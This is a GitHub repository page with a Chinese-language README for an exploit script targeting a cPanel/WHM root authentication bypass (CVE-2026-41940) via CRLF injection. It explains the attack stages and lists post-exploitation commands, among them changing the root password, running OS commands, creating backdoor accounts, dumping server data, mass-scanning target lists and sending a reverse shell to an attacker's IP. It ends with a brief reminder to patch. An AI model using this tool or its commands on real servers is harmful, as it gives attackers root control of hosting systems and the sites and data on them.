Christian93111/CVE-2026-41940
GitHub: Christian93111/CVE-2026-41940
一个针对 cPanel/WHM 认证绕过零日漏洞(CVE-2026-41940)的自动化利用工具,支持通过 CRLF 注入获取 root 权限及执行后渗透操作。
Stars: 1 | Forks: 0
# CVE-2026-41940: cPanel/WHM 认证绕过(单目标与多目标)
## 概述
`exploit.py` 是一个演示 cPanel & WHM 中认证绕过漏洞 (CVE-2026-41940) 的脚本。该漏洞允许未经身份验证的攻击者通过 CRLF 注入缺陷将 root 会话注入到 daemon 缓存中,最终在无需有效凭证的情况下获得 root 级别的 WHM 访问权限。
## 漏洞分析与利用流程
该漏洞利用通过结合 Basic Authentication 处理机制中的 CRLF(回车换行)注入漏洞和会话传播缺陷来实现。该脚本分四个阶段自动执行攻击:
1. **Pre-Auth Session Minting:** 连接到公共登录端点(例如,`/login/` 或 `/cgi/login.cgi`)以获取基线未经身份验证的会话 cookie(`whostmgrsession`)。
2. **CRLF Injection:** 发送包含 Base64 编码载荷的特制 Basic Authentication 请求头,将 root 会话字段直接注入到 `cpsrvd` 会话缓存中。服务器的重定向响应会泄露生成的安全令牌(`cpsess`)。
3. **Session Propagation:** 将原始会话 cookie 发送到经过身份验证的 WHM 端点,触发 `do_token_denied` 将伪造的会话传播到 daemon 缓存中——使其成为有效的经过身份验证的会话。
4. **Verification:** 使用伪造的会话访问受限制的 WHM API 端点(例如,`/json-api/version`)以确认 root 级别的访问权限。
## 前置条件
- Python 3.x
- `requests` 库
```
pip install requests
```
## 用法
```
python exploit.py --target [options]
python exploit.py --target-file [options]
```
## 参数
### 目标选择
| 参数 | 描述 |
|----------|-------------|
| `--target URL` | 单个 WHM URL(例如,`https://target:2087`) |
| `--target-file FILE` | 包含目标列表的文件(每行一个 `ip:port`) — 自动启用检查模式 |
### 网络与核心选项
| 参数 | 描述 |
|----------|-------------|
| `--threads N` | 多目标模式下的并发线程数(默认:10) |
| `--hostname HOST` | 覆盖 Host 请求头 — 在自动发现失败或提供错误主机名时使用 |
| `--timeout N` | 单次请求的超时时间(秒)(默认:15) |
| `--retries N` | 网络错误时的重试次数(默认:3) |
| `--cookie-name NAME` | 强制指定特定的会话 cookie 名称(如果省略则自动检测) |
| `--no-verify` | 跳过阶段 4 验证并继续执行 |
### 漏洞利用选项(绕过后)
| 参数 | 描述 |
|----------|-------------|
| `--check` | 仅检查模式 — 验证漏洞而不进行利用(使用 `--target-file` 时自动设置) |
| `--password PASS` | 将 root 密码更改为 PASS |
| `--api FUNC` | 调用特定的 WHM JSON-API 函数 |
| `--api-params K=V,...` | 用于 `--api` 的逗号分隔参数 |
| `--exec CMD` | 通过 WHM `scripts/run_script` 执行 OS 命令(回退方案:`rawexec`) |
| `--session` | 生成 root 一键登录 URL — **请立即打开,令牌很快过期** |
| `--shell` | 进入交互式 WHM shell(仅限单目标) |
| `--dump` | 转储服务器信息:版本、账户、DNS 区域、权限 |
| `--add-user USER PASS DOMAIN` | 创建一个新的 cPanel 托管账户 |
| `--revshell LHOST LPORT` | 向您的监听器发送 bash 反向 shell |
### 输出选项
| 参数 | 描述 |
|----------|-------------|
| `--output FILE` | 将会话令牌和详细信息保存到 JSON 文件 |
## 示例
```
# 检查目标是否存在漏洞
python exploit.py --target https://target:2087 --check
# Dump 服务器信息(版本、账户、权限)
python exploit.py --target https://target:2087 --dump
# 生成一键 root 登录 URL(立即粘贴到浏览器中)
python exploit.py --target https://target:2087 --session
# 执行命令
python exploit.py --target https://target:2087 --exec "id"
# 进入交互式 WHM shell
python exploit.py --target https://target:2087 --shell
# 更改 root 密码
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# 直接调用 WHM API
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# 创建后门 cPanel 账户
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# 发送 reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# 覆盖主机名(在自动发现失败时使用)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# 扫描多个目标(仅检查模式)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# 将会话保存到文件
python exploit.py --target https://target:2087 --dump --output results.json
```
## 交互式 Shell 命令
使用 `--shell` 时,可以使用以下命令:
| 命令 | 描述 |
|---------|-------------|
| `api [k=v ...]` | 调用 WHM JSON-API 函数(例如,`api version`) |
| `exec ` | 通过 WHM 运行 OS 命令(例如,`exec id`) |
| `passwd ` | 更改 root 密码 |
| `dump` | 转储服务器信息 |
| `revshell ` | 发送反向 shell |
| `add ` | 创建 cPanel 账户 |
| `save ` | 将当前会话保存到文件 |
| `exit` / `quit` | 退出 shell |
## 提醒
请立即应用最新的 cPanel/WHM 安全补丁。
标签:0day, Base64编码, CISA项目, cPanel, CRLF注入, CVE-2026-41940, HTTP响应拆分, PoC, Python, Root提权, Web安全, WHM, 主机控制面板, 会话伪造, 会话固定, 数据展示, 无后门, 无服务器架构, 暴力破解, 未授权访问, 红队, 网络安全, 自动化攻击脚本, 蓝队分析, 身份验证绕过, 逆向工具, 隐私保护, 零日漏洞